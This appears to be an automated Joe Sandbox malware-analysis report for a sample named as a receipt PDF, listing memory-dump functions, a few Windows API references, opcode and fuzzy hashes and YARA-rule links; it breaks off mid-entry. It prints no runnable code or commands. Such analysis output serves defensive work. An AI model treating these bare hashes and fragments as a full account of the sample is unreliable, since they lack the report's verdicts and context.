Download Yara Rule

APIs

MessageBoxW.USER32(?,00000000,00000000,?), ref: 06D19485

Memory Dump Source

Source File: 00000003.00000002.4506530175.0000000006D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6d10000_rDEKONT-1_15_2025__75kb__pdf.jbxd

Similarity

API ID: Message
String ID:
API String ID: 2030045667-0
Opcode ID: 8a596c0a8b4f6076012be0c6bc4a3f1d39f0382391565adc2fcaafa763decae9
Instruction ID: ae4c1dd35ea8f2ffbf82594789d2fd8689755e6789ab27e970338d707f9f3e0e
Opcode Fuzzy Hash: 8a596c0a8b4f6076012be0c6bc4a3f1d39f0382391565adc2fcaafa763decae9
Instruction Fuzzy Hash: 6621E3B5D013499FDB14CF9AD894ADEFBF5FB48310F10852EE528AB200C3B5A544CBA5

Function 06D181C0 Relevance: 1.5, APIs: 1, Instructions: 46comCOMMON

Download Yara Rule

APIs

OleInitialize.OLE32(00000000), ref: 06D1821D

Memory Dump Source

Source File: 00000003.00000002.4506530175.0000000006D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6d10000_rDEKONT-1_15_2025__75kb__pdf.jbxd

Similarity

API ID: Initialize
String ID:
API String ID: 2538663250-0
Opcode ID: 0aaea5fe5135a559e62760d416ad8075173d64632bb298735036aa982a38d8af
Instruction ID: 85234b7166c5799f504d0e95e0951830adae8d7cbd7f1eb1366d494f21c6509a
Opcode Fuzzy Hash: 0aaea5fe5135a559e62760d416ad8075173d64632bb298735036aa982a38d8af
Instruction Fuzzy Hash: 2F1103B5C006489FCB20DF9AD549BDEBBF8AB48310F208459E918A7300D378A584CFA5

Function 06D17B10 Relevance: 1.5, APIs: 1, Instructions: 46comCOMMON

Download Yara Rule

APIs

OleInitialize.OLE32(00000000), ref: 06D1821D

Memory Dump Source

Source File: 00000003.00000002.4506530175.0000000006D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6d10000_rDEKONT-1_15_2025__75kb__pdf.jbxd

Similarity

API ID: Initialize
String ID:
API String ID: 2538663250-0
Opcode ID: 91c9475fbdc0a194a359b60e5c3f17b29de23b959941d4931ef35b0b9beeb0ef
Instruction ID: e6174542830060db69a08a0060ac75a9df2c7efe2c8ab14f9cb885fd4cc4d2db
Opcode Fuzzy Hash: 91c9475fbdc0a194a359b60e5c3f17b29de23b959941d4931ef35b0b9beeb0ef
Instruction Fuzzy Hash: 431118B18007489FDB20DF9AD548BDEBBF4EB48310F108459D519A7300C3B8A544CFA5

Function 0147AEFF Relevance: 1.4, Strings: 1, Instructions: 121COMMON

Download Yara Rule

Strings

(o]q, xrefs: 0147B079

Memory Dump Source

Source File: 00000003.00000002.4500304474.0000000001470000.00000040.00000800.00020000.00000000.sdmp, Offset: 01470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1470000_rDEKONT-1_15_2025__75kb__pdf.jbxd

Similarity

API ID:
String ID: (o]q
API String ID: 0-794736227
Opcode ID: 5097c902f2e6d28b161a87035ba34aac9405579dd9af773b513859b0257990e2
Instruction ID: e05f1ba6a3c33851e4516e162c4a3beca27cf659d855a3207530891c487f5b64
Opcode Fuzzy Hash: 5097c902f2e6d28b161a87035ba34aac9405579dd9af773b513859b0257990e2
Instruction Fuzzy Hash: 9741D0717002448FCB199F69D8546AEBFF6AFC8620F1884AAE916D73A5CE719C01CB90

Function 0147AA97 Relevance: 1.4, Strings: 1, Instructions: 110COMMON

Download Yara Rule

Strings

4']q, xrefs: 0147AB13

Memory Dump Source

Source File: 00000003.00000002.4500304474.0000000001470000.00000040.00000800.00020000.00000000.sdmp, Offset: 01470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1470000_rDEKONT-1_15_2025__75kb__pdf.jbxd

Similarity

API ID:
String ID: 4']q
API String ID: 0-1259897404
Opcode ID: 2841cdb28488eb595b935ef88f2592c177ce748354e16faae87673cce668f47c
Instruction ID: b822275de210f48d943f045c0e7e4d6b59f82102e4b77608778d3b6781f188ee
Opcode Fuzzy Hash: 2841cdb28488eb595b935ef88f2592c177ce748354e16faae87673cce668f47c
Instruction Fuzzy Hash: AF4116746002159FCB15DF28D988ABE7BB6BF88310F24446AFA169B3B1CB749C41CB91

Function 0147E017 Relevance: .6, Instructions: 647COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.4500304474.0000000001470000.00000040.00000800.00020000.00000000.sdmp, Offset: 01470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1470000_rDEKONT-1_15_2025__75kb__pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1297e5ebd730b4e8db2358d78e58de4ba246cd49e8abeec6763935b8c785e02d
Instruction ID: cdfd259177084a047dc4604fc4cc8813f30e9240c88666ffee7a548cc87737a1
Opcode Fuzzy Hash: 1297e5ebd730b4e8db2358d78e58de4ba246cd49e8abeec6763935b8c785e02d
Instruction Fuzzy Hash: 851281744253468FA7A02F30E6AC16EBA61FB0F377354EC95F00FC5459AFB116898B62

Function 0147E018 Relevance: .6, Instructions: 647COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.4500304474.0000000001470000.00000040.00000800.00020000.00000000.sdmp, Offset: 01470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1470000_rDEKONT-1_15_2025__75kb__pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ae5be09f929d24ab1e61fe96997e0021fc586f4c6ba8ce0608ed2855ab0d4ba7
Instruction ID: 60ce0c8ca14fb2b37f9fdf9db2fca85ef185a400016a21d55cf5bb740b226bf1
Opcode Fuzzy Hash: ae5be09f929d24ab1e61fe96997e0021fc586f4c6ba8ce0608ed2855ab0d4ba7
Instruction Fuzzy Hash: 521291740253468FA3A02F30E6AC16ABA65FB0F377354EC95F00FC5459AFB116898B62

Function 0147A0F8 Relevance: .2, Instructions: 215COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.4500304474.0000000001470000.00000040.00000800.00020000.00000000.sdmp, Offset: 01470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1470000_rDEKONT-1_15_2025__75kb__pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7979d980191676c52076a60c69075457f5e6ed825860cac0dc7842ef542e4fbe
Instruction ID: 6eb338f81807e0349ee068a92e20cd59879b4de979379920654196e87b8c1451
Opcode Fuzzy Hash: 7979d980191676c52076a60c69075457f5e6ed825860cac0dc7842ef542e4fbe
Instruction Fuzzy Hash: 5191BA74A00259CFCF16CF98C4848EEBFB2FF88310F28856AE805AB365D771A955CB50

Function 014780D8 Relevance: .2, Instructions: 201COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.4500304474.0000000001470000.00000040.00000800.00020000.00000000.sdmp, Offset: 01470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1470000_rDEKONT-1_15_2025__75kb__pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9584ef6cafa7076835b64dac83dd7abae3fdbd10f6163698925336efe4f0f5a8
Instruction ID: 122aa30f5daaee124f0a59b29bb915ac85672d7211e89abc584a129d5ddd69dc
Opcode Fuzzy Hash: 9584ef6cafa7076835b64dac83dd7abae3fdbd10f6163698925336efe4f0f5a8
Instruction Fuzzy Hash: 0A713C347006068FDB25DF6CC888AAE7BE6EF99251B1540AAE905DB3B1DB70DC41CB51

Function 0147F3FB Relevance: .1, Instructions: 147COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.4500304474.0000000001470000.00000040.00000800.00020000.00000000.sdmp, Offset: 01470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1470000_rDEKONT-1_15_2025__75kb__pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1e7f86381a6c073d4a0f358d51588c194c2a03e94b7b128c6271b18588852519
Instruction ID: 4122e2e77ba6f030dac2b67a26ed2de8dbc7322ca9dd31afbd6f6e936017f328
Opcode Fuzzy Hash: 1e7f86381a6c073d4a0f358d51588c194c2a03e94b7b128c6271b18588852519
Instruction Fuzzy Hash: 36510074D01318CFDB14DFA5D954AAEBBB2FF88300F208529D809AB3A5DB79594ACF41

Function 0147419F Relevance: .1, Instructions: 134COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.4500304474.0000000001470000.00000040.00000800.00020000.00000000.sdmp, Offset: 01470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1470000_rDEKONT-1_15_2025__75kb__pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 49f2791cd2237367046ea063022f0f1e925262631705b4913d7f41f23d732f19
Instruction ID: 0a9336909010982e58a46a7aa9f3c08b4101b51e653e8157c10bfc9df3396722
Opcode Fuzzy Hash: 49f2791cd2237367046ea063022f0f1e925262631705b4913d7f41f23d732f19
Instruction Fuzzy Hash: F6519074E01208DFCB58DFA9D58499DBBB2FF89310B208569E809BB364DB35AD42CF51

Function 014741A0 Relevance: .1, Instructions: 134COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.4500304474.0000000001470000.00000040.00000800.00020000.00000000.sdmp, Offset: 01470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1470000_rDEKONT-1_15_2025__75kb__pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6197eaad449960e5c6dcab6c1def3ea013b4f62e8734e8640776f94b93141c17
Instruction ID: 9d67675139bb4fe4a1cea04d3b13920d761f9c203f4345f31d48f265cdc1aa70
Opcode Fuzzy Hash: 6197eaad449960e5c6dcab6c1def3ea013b4f62e8734e8640776f94b93141c17
Instruction Fuzzy Hash: 15518174E01208DFCB18DFA9D58499DBBB2FF89310B209569E809BB364DB35AD42CF51

Function 0147D557 Relevance: .1, Instructions: 133COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.4500304474.0000000001470000.00000040.00000800.00020000.00000000.sdmp, Offset: 01470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1470000_rDEKONT-1_15_2025__75kb__pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ad592dfcde8bf9a8697df8162a0e66bd233cda7f8665b94a7a1e98c3ef028cea
Instruction ID: ef216992b4a468424a1e57205ed193c6db0ef10c8b53213f1b7e72bf69b50f50
Opcode Fuzzy Hash: ad592dfcde8bf9a8697df8162a0e66bd233cda7f8665b94a7a1e98c3ef028cea
Instruction Fuzzy Hash: 57515374E01218DFDB58DFAAD58499DBBF2FF89310F24816AE819AB365DB319901CF10

Function 01479C30 Relevance: .1, Instructions: 103COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.4500304474.0000000001470000.00000040.00000800.00020000.00000000.sdmp, Offset: 01470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1470000_rDEKONT-1_15_2025__75kb__pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ecff933b5325fb2fbce3aefa2e92f626b8742b5369ed69218bdaab39303a8406
Instruction ID: a8dd777cc825a0832090c0be22e9c696742ec2035ab6c18a3aa6e65d6f86fcaf
Opcode Fuzzy Hash: ecff933b5325fb2fbce3aefa2e92f626b8742b5369ed69218bdaab39303a8406
Instruction Fuzzy Hash: A9314C30700245CFDB11CF6CC844BAA7BE6EB89329F548466E918CB36AD775DD42CB51

Function 01475658 Relevance: .1, Instructions: 101COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.4500304474.0000000001470000.00000040.00000800.00020000.00000000.sdmp, Offset: 01470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1470000_rDEKONT-1_15_2025__75kb__pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cec649a3d5a78ca1138143418a472f57c458ad80e673e422d8903acce7db501c
Instruction ID: 522396349d13a968e323501a75cd941d433d5b594032af6fc18c8d9d53ebe648
Opcode Fuzzy Hash: cec649a3d5a78ca1138143418a472f57c458ad80e673e422d8903acce7db501c
Instruction Fuzzy Hash: 16318F316042099FCF519F65E854ABF7BA2FB58220F10842AF9199F368CB79CD21CB90

Function 01478380 Relevance: .1, Instructions: 87COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.4500304474.0000000001470000.00000040.00000800.00020000.00000000.sdmp, Offset: 01470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1470000_rDEKONT-1_15_2025__75kb__pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 750c090d6ccb24dd965fce644a99cdd6d27a8c0c8be29ea9114b90d5b430ae52
Instruction ID: 04cf060d16b0487bec9e12acc2d2d557449368beee24938e87f75b74ced05374
Opcode Fuzzy Hash: 750c090d6ccb24dd965fce644a99cdd6d27a8c0c8be29ea9114b90d5b430ae52
Instruction Fuzzy Hash: 612171313042024BDB265A29845C6BF769BAFC465CF14847ED506CB7BAFAF5CC42D781

Function 0147A3E7 Relevance: .1, Instructions: 86COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.4500304474.0000000001470000.00000040.00000800.00020000.00000000.sdmp, Offset: 01470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1470000_rDEKONT-1_15_2025__75kb__pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 876b03f8b927ec68c22e94a966733ded18d3c3ddb0480d592e55ff5997f034a8
Instruction ID: 28e8431806f0191f40b2ce3bd39d3d842d34557346e308c5c2c623330ad265f6
Opcode Fuzzy Hash: 876b03f8b927ec68c22e94a966733ded18d3c3ddb0480d592e55ff5997f034a8
Instruction Fuzzy Hash: 6531C731600245DFCB21CF2CC848BAEBFB1AF85310F1985AAE5599B3B2D372E844CB51

Function 0147837F Relevance: .1, Instructions: 83COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.4500304474.0000000001470000.00000040.00000800.00020000.00000000.sdmp, Offset: 01470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1470000_rDEKONT-1_15_2025__75kb__pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 15f64252fb8d31e784f9a4786d4fbbae88ba0e763269c25cfea6cfbf9d6d106d
Instruction ID: c3ef4757d2cda5f8e6650b1f8bac3f5a251a1230ba41af7ec7b269c5d161add1
Opcode Fuzzy Hash: 15f64252fb8d31e784f9a4786d4fbbae88ba0e763269c25cfea6cfbf9d6d106d
Instruction Fuzzy Hash: B02165313002128B9B265B69845CABF769BAFC465D714847ED506CB37AFAB5CC02D781

Function 014728F0 Relevance: .1, Instructions: 77COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.4500304474.0000000001470000.00000040.00000800.00020000.00000000.sdmp, Offset: 01470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1470000_rDEKONT-1_15_2025__75kb__pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1a6ebdb3f5ba3b990da8360fefea0ed241c295bb62ad66edce01e8122de96d4b
Instruction ID: 46c0d1237a8caf9fd4e5b32b76a1948aa3cb616f06a4db46461637ebd724155e
Opcode Fuzzy Hash: 1a6ebdb3f5ba3b990da8360fefea0ed241c295bb62ad66edce01e8122de96d4b
Instruction Fuzzy Hash: 3921BD71B00105AFCB14CF68C8409EF37A5EB9D2A4B14C42AD80A9B350DB34EE4BCBD2

Function 0141D554 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.4500035962.000000000141D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0141D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_141d000_rDEKONT-1_15_2025__75kb__pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6aa20537be51f8ebb25ff5abc0e70077192f0207b6cf8e0e4ac287522fe3988d
Instruction ID: 157d2c8a07ef7703c3a463cc57490bbbc9b266d3585936abd4f821e60ee279f6
Opcode Fuzzy Hash: 6aa20537be51f8ebb25ff5abc0e70077192f0207b6cf8e0e4ac287522fe3988d
Instruction Fuzzy Hash: 8F21F4B1904240DFDB05DF98D9C4F27BF65FB88314F20856AE9090A26AC33AD416CAA1

Function 01476300 Relevance: .1, Instructions: 74COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.4500304474.0000000001470000.00000040.00000800.00020000.00000000.sdmp, Offset: 01470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1470000_rDEKONT-1_15_2025__75kb__pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d046fdf3d3f33db2e7b872c43b3ea45d6380303f5227a0f78ed5e6ebaa6cbd6e
Instruction ID: 19277d13070759648570e9a5f4b970343f68beddc05692be516b90af33a791e2
Opcode Fuzzy Hash: d046fdf3d3f33db2e7b872c43b3ea45d6380303f5227a0f78ed5e6ebaa6cbd6e
Instruction Fuzzy Hash: 8321D135300A118BE7259A2AC45493EB7A3FF89661705817AE90ADB3A4CF31DC02CB80

Function 0142D118 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.4500088466.000000000142D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0142D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_142d000_rDEKONT-1_15_2025__75kb__pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0e6f4970b1c034fd1a0aa6ff5c789ac1fc840d82a3fa07be02d2618cf313ca2a
Instruction ID: fe645840b7f6e82d3b4abf33342d24b1b6260d195a0a086e5eda563315fffd04
Opcode Fuzzy Hash: 0e6f4970b1c034fd1a0aa6ff5c789ac1fc840d82a3fa07be02d2618cf313ca2a
Instruction Fuzzy Hash: EF213771904340DFDB05DF58C9C0B26BB65FB84314F70C56EE8094B766C37AD486CA62

Function 01475649 Relevance: .1, Instructions: 69COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.4500304474.0000000001470000.00000040.00000800.00020000.00000000.sdmp, Offset: 01470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1470000_rDEKONT-1_15_2025__75kb__pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3b2948dd54dbabc946979284c4b20170da3c6de9c0fbd6742fef138df9e31672
Instruction ID: 6461f0dd80f6777fea18813cfb7e9491945a780f419896535fa1bcdbe35a8e8d
Opcode Fuzzy Hash: 3b2948dd54dbabc946979284c4b20170da3c6de9c0fbd6742fef138df9e31672
Instruction Fuzzy Hash: 9521D1316092499FCB15AF69E4446BF7BB2FB59220F10407AE8098F369CB79CE51CB91

Function 01479761 Relevance: .1, Instructions: 65COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.4500304474.0000000001470000.00000040.00000800.00020000.00000000.sdmp, Offset: 01470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1470000_rDEKONT-1_15_2025__75kb__pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 860d35e31c448895ebde3d273418db4692df6f50d949ccc94441a9cb497b1742
Instruction ID: 389bda2148c91f411d0e7431ab2fb0613c7d2db54ada2ba077279ebeef79a52a
Opcode Fuzzy Hash: 860d35e31c448895ebde3d273418db4692df6f50d949ccc94441a9cb497b1742
Instruction Fuzzy Hash: FA217A30E01249DFCB15CFA9D550AEEBFB6EF48228F24806AE401F63A4DB35D941CB60

Function 014762F0 Relevance: .1, Instructions: 62COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.4500304474.0000000001470000.00000040.00000800.00020000.00000000.sdmp, Offset: 01470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1470000_rDEKONT-1_15_2025__75kb__pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cc444c3ef0d4091cfcb704e2b401304415daa875189bfde65831b8e887105fef
Instruction ID: 682c4ba1832f8b6531cf6a4fb8ff16dab8ce3ec57dde767bcfdb30897e862462
Opcode Fuzzy Hash: cc444c3ef0d4091cfcb704e2b401304415daa875189bfde65831b8e887105fef
Instruction Fuzzy Hash: 9711A335705A118FE7269A2AD45457EBBA3BFC566131A40BAE906CB3B4CF31CC02CB90

Function 01476FC7 Relevance: .1, Instructions: 57COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.4500304474.0000000001470000.00000040.00000800.00020000.00000000.sdmp, Offset: 01470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1470000_rDEKONT-1_15_2025__75kb__pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5debddc1b79ab7216701344a50b43d405b107d690a846b644bad8b4f925d1e13
Instruction ID: 1f7186372af38ae4ec6bbc8469cfe1d8a3a33f5df1141ce467b320cac17ec703
Opcode Fuzzy Hash: 5debddc1b79ab7216701344a50b43d405b107d690a846b644bad8b4f925d1e13
Instruction Fuzzy Hash: D6117975900248DFCB26CF58C848FEBBBF6EB48311F80C46AE5199B222D3759944CF90

Function 0141D54F Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.4500035962.000000000141D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0141D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_141d000_rDEKONT-1_15_2025__75kb__pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: be84e5d2ba6eb25d2e30d29f2c5ffdc4cdcd384a79140dda988d9b090738847a
Instruction ID: ca239f7c25481505afb6b04553d285f2934aeae15ef214c209d51146fd63d07a
Opcode Fuzzy Hash: be84e5d2ba6eb25d2e30d29f2c5ffdc4cdcd384a79140dda988d9b090738847a
Instruction Fuzzy Hash: F011E1B6904280CFCB06CF44D5C4B16BF71FB88314F24C5AAD9090B26BC33AD45ACBA2

Function 0147F31F Relevance: .1, Instructions: 54COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.4500304474.0000000001470000.00000040.00000800.00020000.00000000.sdmp, Offset: 01470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1470000_rDEKONT-1_15_2025__75kb__pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5d6a94f141ebc0f9580ef7d2bd7459e937f7f53eb54bf46d75ebeb5f2ba2c83c
Instruction ID: 587edc674ce43318c44935d0f1977ea08f5a2c0b54bc8a09cc9bede4103f9e0c
Opcode Fuzzy Hash: 5d6a94f141ebc0f9580ef7d2bd7459e937f7f53eb54bf46d75ebeb5f2ba2c83c
Instruction Fuzzy Hash: 2C211A70D001099FCB59EFA9D540A9EBFF5FB45300F1085BAC018A7225EB789E49CF81

Function 0147F320 Relevance: .1, Instructions: 54COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.4500304474.0000000001470000.00000040.00000800.00020000.00000000.sdmp, Offset: 01470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1470000_rDEKONT-1_15_2025__75kb__pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4f560b68f8142508418f87a78bedf243dc1ae6c23acb260f8f1ff7fef5ed6d2d
Instruction ID: db113c27ab9038186c39f3a35dbbda0e4299e4b58e156563027405482b504991
Opcode Fuzzy Hash: 4f560b68f8142508418f87a78bedf243dc1ae6c23acb260f8f1ff7fef5ed6d2d
Instruction Fuzzy Hash: 351129709001099FCB19EFA9D540A9EBFF5FB44300F4085BAC018AB265EB789E49CF81

Function 0142D113 Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.4500088466.000000000142D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0142D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_142d000_rDEKONT-1_15_2025__75kb__pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 945d3a080ad63b5e32bcc5b18ec1e97d0272151c1fb78e482730898ede984437
Instruction ID: 96c420ccd6a8dee9d73063a1dfd03dc2cf328133166524f129b8fdf610a5059d
Opcode Fuzzy Hash: 945d3a080ad63b5e32bcc5b18ec1e97d0272151c1fb78e482730898ede984437
Instruction Fuzzy Hash: 56118E75904280DFDB06CF54D9C4B26BF61FB84314F24C6AAD9494B767C33AD44ACB62

Function 014727F9 Relevance: .1, Instructions: 51COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.4500304474.0000000001470000.00000040.00000800.00020000.00000000.sdmp, Offset: 01470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1470000_rDEKONT-1_15_2025__75kb__pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 497996d8a206025d75979dcca9a1342c61f7341031f5b82efa1bdf0c649823cc
Instruction ID: eb93e5e0b85f853fee437854ac189f7ca8ba807fd619b37f291f64dc353bd284
Opcode Fuzzy Hash: 497996d8a206025d75979dcca9a1342c61f7341031f5b82efa1bdf0c649823cc
Instruction Fuzzy Hash: B7119EB4D0120ACFCB50EFA9D5445EEBBF0FB59314F10926AD905B2224EB355A85CBA1

Function 01475EA7 Relevance: .0, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.4500304474.0000000001470000.00000040.00000800.00020000.00000000.sdmp, Offset: 01470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1470000_rDEKONT-1_15_2025__75kb__pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4d8453589b00e0f725d77315b7ef99108bef8ad56d6c2bddd294858a1d6f56cb
Instruction ID: 13f5164048a7effa19fb4b84abba516b59159965976a29cb25aa8a6f1a16d937
Opcode Fuzzy Hash: 4d8453589b00e0f725d77315b7ef99108bef8ad56d6c2bddd294858a1d6f56cb
Instruction Fuzzy Hash: 8101A7327001196F9B559E599800AFF3FE7EBD8660B14C02AF905DB298CAB18D118790

Function 0147ABE0 Relevance: .0, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.4500304474.0000000001470000.00000040.00000800.00020000.00000000.sdmp, Offset: 01470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1470000_rDEKONT-1_15_2025__75kb__pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4f15dcf0ac78c17cdb8e54589dc570efe10e883dbae3960f4b69fd5a9185966c
Instruction ID: 4168de920a0801cad0f66856a8628ff9cb6716cfa4f22a17e2e7ab3bbecaac7e
Opcode Fuzzy Hash: 4f15dcf0ac78c17cdb8e54589dc570efe10e883dbae3960f4b69fd5a9185966c
Instruction Fuzzy Hash: 58F0F6313002109F97265A2E9454A6FBBDEEFC8A6532D407BEA09CB371EE70CC038381

Function 0147E8F7 Relevance: .0, Instructions: 38COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.4500304474.0000000001470000.00000040.00000800.00020000.00000000.sdmp, Offset: 01470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1470000_rDEKONT-1_15_2025__75kb__pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: df8008633816c563fc839122f2d595b8b6fff5e3dcb791cdc202b6ccdee5d5a6
Instruction ID: ef3df3a3d494d77bd8827b6e8a7d6247eb2b1ba37e0affa612d43877d3cc6b31
Opcode Fuzzy Hash: df8008633816c563fc839122f2d595b8b6fff5e3dcb791cdc202b6ccdee5d5a6
Instruction Fuzzy Hash: 0101C478D002099FDB51CFA8E445AEEBBB1FB49300F10856AE914B3350D7795E55CF91

Function 01479C2F Relevance: .0, Instructions: 29COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.4500304474.0000000001470000.00000040.00000800.00020000.00000000.sdmp, Offset: 01470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1470000_rDEKONT-1_15_2025__75kb__pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a9bf54eea3a8eb3c6c52ce4b55b4cb74b7617fc953ce2e4ecbeb9abb89d2d943
Instruction ID: fa42ba2228ad5c0692854cfdfcda7b77bb0bf64013c374165e25fd19f0143465
Opcode Fuzzy Hash: a9bf54eea3a8eb3c6c52ce4b55b4cb74b7617fc953ce2e4ecbeb9abb89d2d943
Instruction Fuzzy Hash: B9F01C31A102189FDF55DF69D808AEEBBF5EBC8335F10C026E918D7214D7714A158B90

Function 014728A2 Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.4500304474.0000000001470000.00000040.00000800.00020000.00000000.sdmp, Offset: 01470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1470000_rDEKONT-1_15_2025__75kb__pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 291bf806c18ec806c1a16c44fa3646add2570383ada7e829e29e8d8701e91f94
Instruction ID: 33734c09e945728b4be13374c38c8d0992c45d2bc9784ab8c97915c2dcff55e8
